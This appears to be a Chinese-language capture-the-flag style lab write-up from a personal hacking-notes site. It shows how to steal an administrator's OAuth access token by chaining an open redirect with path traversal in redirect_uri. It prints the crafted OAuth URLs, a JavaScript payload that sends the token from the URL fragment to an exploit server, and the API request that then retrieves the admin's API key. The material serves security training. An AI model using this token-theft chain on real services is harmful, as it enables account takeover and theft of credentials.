> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/oauth-authentication/oauth-token-theft-via-open-redirect.md).

# 通过开放重定向窃取 OAuth 令牌

### 通过开放重定向窃取 OAuth 访问令牌

**实验目标**

本实验使用了对以下内容的错误验证： `redirect_uri` 参数的 OAuth 服务。/ 目标是利用客户端应用中存在的开放重定向来 **从管理员用户那里外传 OAuth 访问令牌** 然后用它来获取其 API 密钥。

> 仅仅通过客户端应用连接到管理员账户，无法获取管理员的 API 密钥。

**识别开放重定向**

博客文章之间的浏览功能中存在开放重定向：

{% code overflow="wrap" %}

```bash
https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/post/next?path=/post?postId=6
```

{% endcode %}

<figure><img src="/files/a3f63f67045376b808062fe9f446ccf35fe8d42f" alt=""><figcaption></figcaption></figure>

通过将 `路径` 参数替换为外部 URL，可以接受重定向：

{% code overflow="wrap" %}

```bash
https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/post/next?path=https://google.com
```

{% endcode %}

浏览器发生重定向，证实了该漏洞。

<figure><img src="/files/38fa784cc77243d9db6f14b5d877e48eb0ae5e44" alt=""><figcaption></figcaption></figure>

**OAuth 流程分析**

通过 OAuth 进行身份验证时，可以观察到以下请求：

{% code overflow="wrap" %}

```http
GET /auth?client_id=w9ks0sk9enr3fnrxxj0e9&redirect_uri=https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback&response_type=token&nonce=-1202975070&scope=openid%20profile%20email
```

{% endcode %}

<figure><img src="/files/a2b65a191611184dddce7de2bd53737c61267e0e" alt=""><figcaption></figcaption></figure>

OAuth 服务会拒绝完全外部的 `redirect_uri`，但会接受通过路径遍历修改过的内部 URL。

{% code overflow="wrap" %}

```bash
https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback/../post/next?path=https://google.com
```

{% endcode %}

<figure><img src="/files/0032f6162616f4a5cde873cdd2f0a06ba66918c4" alt=""><figcaption></figcaption></figure>

**`redirect_uri` 绕过验证**

使用 `../` 为了退出 `/OAuth-callback` 路径，可以串联开放重定向：

{% code overflow="wrap" %}

```bash
GET /auth?client_id=w9ks0sk9enr3fnrxxj0e9&redirect_uri=https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback/..//post/next?path=https://exploit-0aa200b50306231684d83aca01e50063.exploit-server.net&response_type=token&nonce=-1202975070&scope=openid%20profile%20email
```

{% endcode %}

<figure><img src="/files/726b5440ab49face936cc393950bbe4e209cb32b" alt=""><figcaption></figcaption></figure>

这个 URL 被接受为 `redirect_uri` 由 OAuth 提供方。

**恶意 OAuth URL 构造**

发送给受害者的最终 URL 是：

{% code overflow="wrap" %}

```bash
https://oauth-0a7c00d603ea23e0849f3991020c0078.oauth-server.net/auth?client_id=w9ks0sk9enr3fnrxxj0e9&redirect_uri=https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0aa200b50306231684d83aca01e50063.exploit-server.net&response_type=token&nonce=-1202975070&scope=openid%20profile%20email
```

{% endcode %}

**片段问题（`#`)**

URL 片段 **不会发送到服务器** 在 HTTP 请求期间。<br>

<figure><img src="/files/09381e38b125089da142a796d7fc294f6dc14dd7" alt=""><figcaption></figcaption></figure>

需要在客户端使用 JavaScript 来捕获令牌。

<figure><img src="/files/619187728b35a7306ba4e0c92560470b40c4abc0" alt=""><figcaption></figcaption></figure>

**使用 JavaScript 捕获令牌**

以下脚本托管在 Exploit Server 上，并发送给管理员：

```javascript
<script>
if (!document.location.hash) {
      window.location = 'https://oauth-0a7c00d603ea23e0849f3991020c0078.oauth-server.net/auth?client_id=w9ks0sk9enr3fnrxxj0e9&redirect_uri=https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0aa200b50306231684d83aca01e50063.exploit-server.net/exploit&response_type=token&nonce=-1202975070&scope=openid%20profile%20email';
} else{
   window.location = '/?' + document.location.hash.substr(1);
}
</script>
```

<figure><img src="/files/21467c0f4a81fc2d988f61ad49e1762490f545d7" alt=""><figcaption></figcaption></figure>

* 如果不存在片段，受害者将被重定向到 OAuth。
* 如果存在片段，令牌会通过查询字符串传输到服务器。

<figure><img src="/files/5963a7a9e5aa6e596460c2a3a29447441e629d54" alt=""><figcaption></figcaption></figure>

**OAuth 令牌利用**

窃取到的令牌允许你查询 `/me` 供应商 OAuth 的端点：

```http
GET /me HTTP/2
Host: oauth-0a7c00d603ea23e0849f3991020c0078.oauth-server.net
Authorization: Bearer PcLy4bgYKmVTtff9jiY0AmymdyjUA3Or7xthOJTotyJ
```

<figure><img src="/files/bc82f3fa14b5b08908ce81e9dbdc0b68693ed57e" alt=""><figcaption></figcaption></figure>

响应包含管理员账户信息，包括 API 密钥：

{% code overflow="wrap" %}

```http
{
"sub":"administrator",
"apikey":"d1tjcs2O4I1ts6yYdswOz2yu9bALstzG",
"name":"管理员",
"email":"administrator@normal-user.net",
"email_verified":true
}
```

{% endcode %}

<figure><img src="/files/ce09891135aa5bad99ec01eac7dcb089a5a1fb2f" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/oauth-authentication/oauth-token-theft-via-open-redirect.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
